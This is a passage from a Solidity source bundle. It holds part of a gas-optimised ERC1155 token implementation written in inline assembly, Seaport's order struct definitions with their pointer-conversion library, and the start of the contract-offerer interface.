keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, or(_ERC1155_MASTER_SLOT_SEED, to_))\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x20, amount)\n // forgefmt: disable-next-line\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), shr(96, from_), shr(96, to_))\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n if (_hasCode(to)) _checkOnERC1155Received(from, to, id, amount, data);\n }\n\n /// @dev Equivalent to `_safeBatchTransfer(address(0), from, to, ids, amounts, data)`.\n function _safeBatchTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n _safeBatchTransfer(address(0), from, to, ids, amounts, data);\n }\n\n /// @dev Transfers `amounts` of `ids` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `ids` and `amounts` must have the same length.\n /// - `from` must have at least `amounts` of `ids`.\n /// - If `by` is not the zero address, it must be either `from`,\n /// or approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function _safeBatchTransfer(\n address by,\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(mload(ids), mload(amounts))) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let from_ := shl(96, from)\n let to_ := shl(96, to)\n // Revert if `to` is the zero address.\n if iszero(to_) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, from_)\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, to_)\n mstore(0x20, fromSlotSeed)\n // If `by` is not the zero address, and not equal to `from`,\n // check if it is approved to manage all the tokens of `from`.\n let by_ := shl(96, by)\n if iszero(or(iszero(by_), eq(by_, from_))) {\n mstore(0x00, by)\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, mload(ids))\n for { let i := 0 } iszero(eq(i, end)) {} {\n i := add(i, 0x20)\n let amount := mload(add(amounts, i))\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x20, fromSlotSeed)\n mstore(0x00, mload(add(ids, i)))\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n }\n }\n // Emit a {TransferBatch} event.\n {\n let m := mload(0x40)\n // Copy the `ids`.\n mstore(m, 0x40)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0x40)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n mstore(add(m, 0x20), add(0x40, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n n := sub(add(o, returndatasize()), m)\n // Do the emit.\n log4(m, n, _TRANSFER_BATCH_EVENT_SIGNATURE, caller(), shr(96, from_), shr(96, to_))\n }\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, ids, amounts, data);\n }\n if (_hasCode(to)) _checkOnERC1155BatchReceived(from, to, ids, amounts, data);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* HOOKS FOR OVERRIDING */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Override this function to return true if `_beforeTokenTransfer` is used.\n /// The is to help the compiler avoid producing dead bytecode.\n function _useBeforeTokenTransfer() internal view virtual returns (bool) {\n return false;\n }\n\n /// @dev Hook that is called before any token transfer.\n /// This includes minting and burning, as well as batched variants.\n ///\n /// The same hook is called on both single and batched variants.\n /// For single transfers, the length of the `id` and `amount` arrays are 1.\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n /// @dev Override this function to return true if `_afterTokenTransfer` is used.\n /// The is to help the compiler avoid producing dead bytecode.\n function _useAfterTokenTransfer() internal view virtual returns (bool) {\n return false;\n }\n\n /// @dev Hook that is called after any token transfer.\n /// This includes minting and burning, as well as batched variants.\n ///\n /// The same hook is called on both single and batched variants.\n /// For single transfers, the length of the `id` and `amount` arrays are 1.\n function _afterTokenTransfer(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual {}\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PRIVATE HELPERS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Helper for calling the `_afterTokenTransfer` hook.\n /// The is to help the compiler avoid producing dead bytecode.\n function _afterTokenTransferCalldata(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) private {\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, ids, amounts, data);\n }\n }\n\n /// @dev Returns if `a` has bytecode of non-zero length.\n function _hasCode(address a) private view returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n result := extcodesize(a) // Can handle dirty upper bits.\n }\n }\n\n /// @dev Perform a call to invoke {IERC1155Receiver-onERC1155Received} on `to`.\n /// Reverts if the target does not support the function correctly.\n function _checkOnERC1155Received(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) private {\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155Received(address,address,uint256,uint256,bytes)`.\n mstore(m, 0xf23a6e61)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), shr(96, shl(96, from)))\n mstore(add(m, 0x60), id)\n mstore(add(m, 0x80), amount)\n mstore(add(m, 0xa0), 0xa0)\n let n := mload(data)\n mstore(add(m, 0xc0), n)\n if n { pop(staticcall(gas(), 4, add(data, 0x20), n, add(m, 0xe0), n)) }\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), add(0xc4, n), m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xf23a6e61))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /// @dev Perform a call to invoke {IERC1155Receiver-onERC1155BatchReceived} on `to`.\n /// Reverts if the target does not support the function correctly.\n function _checkOnERC1155BatchReceived(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) private {\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)`.\n mstore(m, 0xbc197c81)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), shr(96, shl(96, from)))\n // Copy the `ids`.\n mstore(add(m, 0x60), 0xa0)\n let n := add(0x20, shl(5, mload(ids)))\n let o := add(m, 0xc0)\n pop(staticcall(gas(), 4, ids, n, o, n))\n // Copy the `amounts`.\n let s := add(0xa0, returndatasize())\n mstore(add(m, 0x80), s)\n o := add(o, returndatasize())\n n := add(0x20, shl(5, mload(amounts)))\n pop(staticcall(gas(), 4, amounts, n, o, n))\n // Copy the `data`.\n mstore(add(m, 0xa0), add(s, returndatasize()))\n o := add(o, returndatasize())\n n := add(0x20, mload(data))\n pop(staticcall(gas(), 4, data, n, o, n))\n n := sub(add(o, returndatasize()), add(m, 0x1c))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), n, m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xbc197c81))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /// @dev Returns `x` in an array with a single element.\n function _single(uint256 x) private pure returns (uint256[] memory result) {\n assembly {\n result := mload(0x40)\n mstore(0x40, add(result, 0x40))\n mstore(result, 1)\n mstore(add(result, 0x20), x)\n }\n }\n}\n"
},
"lib/seaport/lib/seaport-types/src/lib/ConsiderationStructs.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {\n BasicOrderType,\n ItemType,\n OrderType,\n Side\n} from \"./ConsiderationEnums.sol\";\n\nimport {\n CalldataPointer,\n MemoryPointer\n} from \"../helpers/PointerLibraries.sol\";\n\n/**\n * @dev An order contains eleven components: an offerer, a zone (or account that\n * can cancel the order or restrict who can fulfill the order depending on\n * the type), the order type (specifying partial fill support as well as\n * restricted order status), the start and end time, a hash that will be\n * provided to the zone when validating restricted orders, a salt, a key\n * corresponding to a given conduit, a counter, and an arbitrary number of\n * offer items that can be spent along with consideration items that must\n * be received by their respective recipient.\n */\nstruct OrderComponents {\n address offerer;\n address zone;\n OfferItem[] offer;\n ConsiderationItem[] consideration;\n OrderType orderType;\n uint256 startTime;\n uint256 endTime;\n bytes32 zoneHash;\n uint256 salt;\n bytes32 conduitKey;\n uint256 counter;\n}\n\n/**\n * @dev An offer item has five components: an item type (ETH or other native\n * tokens, ERC20, ERC721, and ERC1155, as well as criteria-based ERC721 and\n * ERC1155), a token address, a dual-purpose \"identifierOrCriteria\"\n * component that will either represent a tokenId or a merkle root\n * depending on the item type, and a start and end amount that support\n * increasing or decreasing amounts over the duration of the respective\n * order.\n */\nstruct OfferItem {\n ItemType itemType;\n address token;\n uint256 identifierOrCriteria;\n uint256 startAmount;\n uint256 endAmount;\n}\n\n/**\n * @dev A consideration item has the same five components as an offer item and\n * an additional sixth component designating the required recipient of the\n * item.\n */\nstruct ConsiderationItem {\n ItemType itemType;\n address token;\n uint256 identifierOrCriteria;\n uint256 startAmount;\n uint256 endAmount;\n address payable recipient;\n}\n\n/**\n * @dev A spent item is translated from a utilized offer item and has four\n * components: an item type (ETH or other native tokens, ERC20, ERC721, and\n * ERC1155), a token address, a tokenId, and an amount.\n */\nstruct SpentItem {\n ItemType itemType;\n address token;\n uint256 identifier;\n uint256 amount;\n}\n\n/**\n * @dev A received item is translated from a utilized consideration item and has\n * the same four components as a spent item, as well as an additional fifth\n * component designating the required recipient of the item.\n */\nstruct ReceivedItem {\n ItemType itemType;\n address token;\n uint256 identifier;\n uint256 amount;\n address payable recipient;\n}\n\n/**\n * @dev For basic orders involving ETH / native / ERC20 <=> ERC721 / ERC1155\n * matching, a group of six functions may be called that only requires a\n * subset of the usual order arguments. Note the use of a \"basicOrderType\"\n * enum; this represents both the usual order type as well as the \"route\"\n * of the basic order (a simple derivation function for the basic order\n * type is `basicOrderType = orderType + (4 * basicOrderRoute)`.)\n */\nstruct BasicOrderParameters {\n // calldata offset\n address considerationToken; // 0x24\n uint256 considerationIdentifier; // 0x44\n uint256 considerationAmount; // 0x64\n address payable offerer; // 0x84\n address zone; // 0xa4\n address offerToken; // 0xc4\n uint256 offerIdentifier; // 0xe4\n uint256 offerAmount; // 0x104\n BasicOrderType basicOrderType; // 0x124\n uint256 startTime; // 0x144\n uint256 endTime; // 0x164\n bytes32 zoneHash; // 0x184\n uint256 salt; // 0x1a4\n bytes32 offererConduitKey; // 0x1c4\n bytes32 fulfillerConduitKey; // 0x1e4\n uint256 totalOriginalAdditionalRecipients; // 0x204\n AdditionalRecipient[] additionalRecipients; // 0x224\n bytes signature; // 0x244\n // Total length, excluding dynamic array data: 0x264 (580)\n}\n\n/**\n * @dev Basic orders can supply any number of additional recipients, with the\n * implied assumption that they are supplied from the offered ETH (or other\n * native token) or ERC20 token for the order.\n */\nstruct AdditionalRecipient {\n uint256 amount;\n address payable recipient;\n}\n\n/**\n * @dev The full set of order components, with the exception of the counter,\n * must be supplied when fulfilling more sophisticated orders or groups of\n * orders. The total number of original consideration items must also be\n * supplied, as the caller may specify additional consideration items.\n */\nstruct OrderParameters {\n address offerer; // 0x00\n address zone; // 0x20\n OfferItem[] offer; // 0x40\n ConsiderationItem[] consideration; // 0x60\n OrderType orderType; // 0x80\n uint256 startTime; // 0xa0\n uint256 endTime; // 0xc0\n bytes32 zoneHash; // 0xe0\n uint256 salt; // 0x100\n bytes32 conduitKey; // 0x120\n uint256 totalOriginalConsiderationItems; // 0x140\n // offer.length // 0x160\n}\n\n/**\n * @dev Orders require a signature in addition to the other order parameters.\n */\nstruct Order {\n OrderParameters parameters;\n bytes signature;\n}\n\n/**\n * @dev Advanced orders include a numerator (i.e. a fraction to attempt to fill)\n * and a denominator (the total size of the order) in addition to the\n * signature and other order parameters. It also supports an optional field\n * for supplying extra data; this data will be provided to the zone if the\n * order type is restricted and the zone is not the caller, or will be\n * provided to the offerer as context for contract order types.\n */\nstruct AdvancedOrder {\n OrderParameters parameters;\n uint120 numerator;\n uint120 denominator;\n bytes signature;\n bytes extraData;\n}\n\n/**\n * @dev Orders can be validated (either explicitly via `validate`, or as a\n * consequence of a full or partial fill), specifically cancelled (they can\n * also be cancelled in bulk via incrementing a per-zone counter), and\n * partially or fully filled (with the fraction filled represented by a\n * numerator and denominator).\n */\nstruct OrderStatus {\n bool isValidated;\n bool isCancelled;\n uint120 numerator;\n uint120 denominator;\n}\n\n/**\n * @dev A criteria resolver specifies an order, side (offer vs. consideration),\n * and item index. It then provides a chosen identifier (i.e. tokenId)\n * alongside a merkle proof demonstrating the identifier meets the required\n * criteria.\n */\nstruct CriteriaResolver {\n uint256 orderIndex;\n Side side;\n uint256 index;\n uint256 identifier;\n bytes32[] criteriaProof;\n}\n\n/**\n * @dev A fulfillment is applied to a group of orders. It decrements a series of\n * offer and consideration items, then generates a single execution\n * element. A given fulfillment can be applied to as many offer and\n * consideration items as desired, but must contain at least one offer and\n * at least one consideration that match. The fulfillment must also remain\n * consistent on all key parameters across all offer items (same offerer,\n * token, type, tokenId, and conduit preference) as well as across all\n * consideration items (token, type, tokenId, and recipient).\n */\nstruct Fulfillment {\n FulfillmentComponent[] offerComponents;\n FulfillmentComponent[] considerationComponents;\n}\n\n/**\n * @dev Each fulfillment component contains one index referencing a specific\n * order and another referencing a specific offer or consideration item.\n */\nstruct FulfillmentComponent {\n uint256 orderIndex;\n uint256 itemIndex;\n}\n\n/**\n * @dev An execution is triggered once all consideration items have been zeroed\n * out. It sends the item in question from the offerer to the item's\n * recipient, optionally sourcing approvals from either this contract\n * directly or from the offerer's chosen conduit if one is specified. An\n * execution is not provided as an argument, but rather is derived via\n * orders, criteria resolvers, and fulfillments (where the total number of\n * executions will be less than or equal to the total number of indicated\n * fulfillments) and returned as part of `matchOrders`.\n */\nstruct Execution {\n ReceivedItem item;\n address offerer;\n bytes32 conduitKey;\n}\n\n/**\n * @dev Restricted orders are validated post-execution by calling validateOrder\n * on the zone. This struct provides context about the order fulfillment\n * and any supplied extraData, as well as all order hashes fulfilled in a\n * call to a match or fulfillAvailable method.\n */\nstruct ZoneParameters {\n bytes32 orderHash;\n address fulfiller;\n address offerer;\n SpentItem[] offer;\n ReceivedItem[] consideration;\n bytes extraData;\n bytes32[] orderHashes;\n uint256 startTime;\n uint256 endTime;\n bytes32 zoneHash;\n}\n\n/**\n * @dev Zones and contract offerers can communicate which schemas they implement\n * along with any associated metadata related to each schema.\n */\nstruct Schema {\n uint256 id;\n bytes metadata;\n}\n\nusing StructPointers for OrderComponents global;\nusing StructPointers for OfferItem global;\nusing StructPointers for ConsiderationItem global;\nusing StructPointers for SpentItem global;\nusing StructPointers for ReceivedItem global;\nusing StructPointers for BasicOrderParameters global;\nusing StructPointers for AdditionalRecipient global;\nusing StructPointers for OrderParameters global;\nusing StructPointers for Order global;\nusing StructPointers for AdvancedOrder global;\nusing StructPointers for OrderStatus global;\nusing StructPointers for CriteriaResolver global;\nusing StructPointers for Fulfillment global;\nusing StructPointers for FulfillmentComponent global;\nusing StructPointers for Execution global;\nusing StructPointers for ZoneParameters global;\n\n/**\n * @dev This library provides a set of functions for converting structs to\n * pointers.\n */\nlibrary StructPointers {\n /**\n * @dev Get a MemoryPointer from OrderComponents.\n *\n * @param obj The OrderComponents object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderComponents memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderComponents.\n *\n * @param obj The OrderComponents object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderComponents calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OfferItem.\n *\n * @param obj The OfferItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OfferItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OfferItem.\n *\n * @param obj The OfferItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OfferItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ConsiderationItem.\n *\n * @param obj The ConsiderationItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ConsiderationItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ConsiderationItem.\n *\n * @param obj The ConsiderationItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ConsiderationItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from SpentItem.\n *\n * @param obj The SpentItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n SpentItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from SpentItem.\n *\n * @param obj The SpentItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n SpentItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ReceivedItem.\n *\n * @param obj The ReceivedItem object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ReceivedItem memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ReceivedItem.\n *\n * @param obj The ReceivedItem object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ReceivedItem calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from BasicOrderParameters.\n *\n * @param obj The BasicOrderParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n BasicOrderParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from BasicOrderParameters.\n *\n * @param obj The BasicOrderParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n BasicOrderParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from AdditionalRecipient.\n *\n * @param obj The AdditionalRecipient object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n AdditionalRecipient memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from AdditionalRecipient.\n *\n * @param obj The AdditionalRecipient object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n AdditionalRecipient calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OrderParameters.\n *\n * @param obj The OrderParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderParameters.\n *\n * @param obj The OrderParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Order.\n *\n * @param obj The Order object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Order memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Order.\n *\n * @param obj The Order object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Order calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from AdvancedOrder.\n *\n * @param obj The AdvancedOrder object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n AdvancedOrder memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from AdvancedOrder.\n *\n * @param obj The AdvancedOrder object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n AdvancedOrder calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OrderStatus.\n *\n * @param obj The OrderStatus object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderStatus memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderStatus.\n *\n * @param obj The OrderStatus object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderStatus calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from CriteriaResolver.\n *\n * @param obj The CriteriaResolver object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n CriteriaResolver memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from CriteriaResolver.\n *\n * @param obj The CriteriaResolver object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n CriteriaResolver calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Fulfillment.\n *\n * @param obj The Fulfillment object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Fulfillment memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Fulfillment.\n *\n * @param obj The Fulfillment object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Fulfillment calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from FulfillmentComponent.\n *\n * @param obj The FulfillmentComponent object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n FulfillmentComponent memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from FulfillmentComponent.\n *\n * @param obj The FulfillmentComponent object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n FulfillmentComponent calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Execution.\n *\n * @param obj The Execution object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Execution memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Execution.\n *\n * @param obj The Execution object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Execution calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ZoneParameters.\n *\n * @param obj The ZoneParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ZoneParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ZoneParameters.\n *\n * @param obj The ZoneParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ZoneParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n}\n"
},
"lib/seaport/lib/seaport-types/src/interfaces/ContractOffererInterface.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {ReceivedItem, Schema, SpentItem} from \"../lib/ConsiderationStructs.sol\";\nimport {IERC165} from \"../interfaces/IERC165.sol\";\n\n/**\n * @title ContractOffererInterface\n * @notice Contains the minimum interfaces needed to interact with a contract\n * offerer.\n */\ninterface ContractOffererInterface is IERC165 {\n /**\n * @dev Generates an order with the specified minimum and maximum spent\n * items, and optional context (supplied as extraData).\n *\n * @param fulfiller The address of the fulfiller.\n * @param minimumReceived The minimum items that the caller is willing to\n * receive.\n * @param maximumSpent The maximum items the caller is willing to spend.\n * @param context Additional context of the order.\n *\n * @return offer A tuple containing the offer items.\n * @return consideration A tuple containing the consideration items.\n */\n function generateOrder(\n address fulfiller,\n SpentItem[] calldata minimumReceived,\n SpentItem[] calldata maximumSpent,\n bytes calldata context // encoded based on the schemaID\n ) external returns (SpentItem[] memory offer, ReceivedItem[] memory consideration);\n\n /**\n * @dev Ratifies an order with the specified offer, consideration, and\n * optional context (supplied as extraData).\n *\n * @param offer The offer items.\n * @param consideration The consideration items.\n * @param context Additional context of the order.\n * @param orderHashes The hashes to ratify.\n * @param contractNonce The nonce of the contract.\n *\n * @return ratifyOrderMagicValue The magic value returned by the contract\n * offerer.\n */\n function ratifyOrder(\n SpentItem[] calldata offer,\n ReceivedItem[] calldata consideration,\n bytes calldata context, // encoded based on the schemaID\n bytes32[] calldata orderHashes,\n uint256 contractNonce\n ) external returns (bytes4 ratifyOrderMagicValue);\n\n /**\n * @dev View function to preview an order generated in response to a minimum\n * set of received items, maximum set of spent items, and context\n * (supplied as extraData).\n *\n * @param caller The address of the caller (e.g. Seaport).\n * @param fulfiller The address of the fulfiller (e.g. the account\n * calling Seaport).\n * @param minimumReceived The minimum items that the caller is willing to\n * receive.\n * @param maximumSpent The maximum items the caller is willing to spend.\n * @param context Additional context of the order.\n *\n * @return offer A tuple containing the offer items.\n * @return consideration A tuple containing the consideration items.\n */\n function previewOrder(\n address caller,\n address fulfiller,\n SpentItem[] calldata minimumReceived,\n SpentItem[] calldata maximumSpent,\n bytes calldata context // encoded based on the schemaID\n ) external view returns (SpentItem[] memory offer, ReceivedItem[] memory consideration);\n\n /**\n * @dev Gets the metadata for this contract offerer.\n *\n * @return name The name of the contract offerer.\n * @return schemas The schemas supported by the contract offerer.\n */\n function getSeaportMetadata() external view returns (string memory name, Schema[] memory schemas); // map to Seaport Improvement Proposal IDs\n\n 